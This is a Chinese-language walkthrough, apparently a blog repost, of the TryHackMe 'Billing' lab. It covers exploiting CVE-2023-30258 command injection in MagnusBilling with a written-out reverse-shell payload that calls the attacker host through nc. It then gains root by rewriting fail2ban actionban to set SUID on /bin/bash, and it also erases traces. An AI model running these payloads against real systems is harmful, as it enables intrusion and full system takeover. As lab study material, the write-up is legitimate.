当前位置: 首页 > news >正文

THM Billing

1. 信息收集

(1) Nmap 扫描
 bash
 nmap -T4 -sC -sV -p- 10.10.189.216

输出关键信息

 PORT     STATE SERVICE  VERSION
 22/tcp   open ssh      OpenSSH 8.4p1 Debian 5+deb11u3
 80/tcp   open http     Apache 2.4.56 (Debian)  # MagnusBilling 应用
 3306/tcp open mysql    MariaDB (未授权访问受限)
 5038/tcp open asterisk Asterisk Call Manager 2.10.6

分析

  • 80 端口:运行 MagnusBilling,可能存在已知漏洞。

  • 5038 端口:Asterisk 服务,可能辅助提权。


2. Web 渗透(CVE-2023-30258)

(1) 访问 Web 应用
  • 浏览器访问 http://10.10.189.216,自动跳转到 http://10.10.189.216/mbilling/

  • 查看页面源码,确认 MagnusBilling 版本为 7.x.x(如 README.md 文件)。

(2) 验证命令注入漏洞
 bash
 # 测试 sleep 命令(响应时间应接近 5 秒)
 time curl -s "http://10.10.189.216/mbilling/lib/icepay/icepay.php?democ=;sleep+5;"

输出

 real    0m5.189s  # 确认漏洞存在
(3) 生成反向 Shell Payload
 bash
 # 在攻击机开启监听(443 端口)
 nc -lvnp 443
 ​
 # 注入反向 Shell 命令
 curl -s "http://10.10.189.216/mbilling/lib/icepay/icepay.php" \
 --get --data-urlencode "democ=;rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|sh+-i+2>%261|nc+10.10.158.208+443+>/tmp/f;"

监听结果

 connect to [10.10.158.208] from (UNKNOWN) [10.10.189.216] 41006
 sh: 0: can't access tty; job control turned off
 $   # 获取基础 Shell
(4) 升级交互式 Shell
 bash
 # 在目标机执行
 $ python3 -c 'import pty;pty.spawn("/bin/bash")'
 $ export TERM=xterm
 ​
 # 在攻击机按 Ctrl+Z 挂起会话,然后执行
 stty raw -echo; fg

升级后

 asterisk@Billing:/var/www/html/mbilling/lib/icepay$   # 完整交互式 Shell

3. 用户权限提升

(1) 读取用户 Flag
 bash
 cat /home/magnus/user.txt

输出

 thm{5a0c4d7f3b...}  # 用户 Flag
(2) 检查 sudo 权限
 bash
 sudo -l

输出

 User asterisk may run the following commands on Billing:
     (ALL) NOPASSWD: /usr/bin/fail2ban-client  # 关键权限

4. Root 权限提权(Fail2ban 滥用)

(1) 修改 Fail2ban Actionban 命令
 bash
 # 篡改 actionban 命令,设置 /bin/bash 的 SUID 位
 sudo /usr/bin/fail2ban-client set asterisk-iptables action iptables-allports-ASTERISK actionban 'chmod +s /bin/bash'
(2) 触发封禁以执行命令
 bash
 # 封禁任意 IP(如 1.2.3.4)
 sudo /usr/bin/fail2ban-client set asterisk-iptables banip 1.2.3.4
(3) 验证 SUID 权限
 bash
 ls -l /bin/bash

输出

 -rwsr-sr-x 1 root root 1234376 Mar 27  2022 /bin/bash  # SUID 已生效
(4) 获取 Root Shell
 bash
 /bin/bash -p   # 使用 -p 保留 root 权限
 bash-5.1# id
 uid=1001(asterisk) gid=1001(asterisk) euid=0(root) egid=0(root) groups=0(root),1001(asterisk)
(5) 读取 Root Flag
 bash
 cat /root/root.txt

输出

 thm{8b3d12f7a1...}  # Root Flag

5. 清理痕迹

(1) 移除 /bin/bash 的 SUID 位
 bash
 chmod -s /bin/bash
(2) 还原 Fail2ban 配置
 bash
 # 恢复原始 actionban 命令
 sudo /usr/bin/fail2ban-client set asterisk-iptables action iptables-allports-ASTERISK actionban 'iptables -I f2b-ASTERISK 1 -s <ip> -j DROP'
 ​
 # 解封测试 IP
 sudo /usr/bin/fail2ban-client set asterisk-iptables unbanip 1.2.3.4
 ​
 # 重启 Fail2ban
 sudo systemctl restart fail2ban

关键步骤总结

  1. 漏洞利用:通过 CVE-2023-30258 注入反向 Shell。

  2. 权限升级:利用 sudo /usr/bin/fail2ban-client 修改配置,设置 SUID 提权。

  3. 防御绕过:使用高权限服务(Fail2ban)执行恶意命令。


防御建议

  1. 修补漏洞:升级 MagnusBilling 至最新版本。

  2. 限制 Sudo 权限:禁止普通用户操作安全工具。

  3. 监控 SUID/SGID 文件:

  1.  find / -perm /4000 -ls  # 定期检查异常权限文件
  2. Fail2ban 加固:配置文件和动作脚本设为只读。

相关文章:

  • Win10 开机自动开启手动代理 “手动设置代理”,如何关闭 “使用代理服务器” 如何开机时保持关闭VPN
  • C++初阶-inline的使用
  • Linux xorg-server 解析(一)- 编译安装Debug版本的xorg-server
  • Java基础知识
  • SQL 语句基础(增删改查)
  • 电流互感器的两相星形接线的建模与仿真
  • 撰写学位论文Word图表目录的自动生成
  • 基于单片机的病房呼叫系统设计
  • 【MCAL】AUTOSAR架构下基于SPI通信的驱动模块详解-以TJA1145为例
  • [网鼎杯 2022 青龙组]fakeshell
  • 开启深度学习之旅
  • 机器学习中的数学(PartⅡ)——线性代数:2.1线性方程组
  • 【随行付-注册安全分析报告-无验证方式导致隐患】
  • 从零开始的C++编程 2(类和对象下)
  • 【Python] pip制作离线包
  • TcxCustomCheckComboBoxProperties.EditValueFormat 值说明
  • 第三篇:Python数据结构深度解析与工程实践
  • Node.js中net模块详解
  • 网络5 TCP/IP 虚拟机桥接模式、NAT、仅主机模式
  • Android7 Input(四)InputReader
  • 有那些专门做职业统计的网站/苏州疫情最新情况
  • 为什么都用java做网站/爱链网中可以进行链接买卖
  • 在线免费开网站/如何提升网站搜索排名
  • 广州市政府网站集约化建设方案/百度云网盘入口
  • 做网站怎么赚钱吗/网站源码建站
  • 成都网站搭建公司/seo排名点击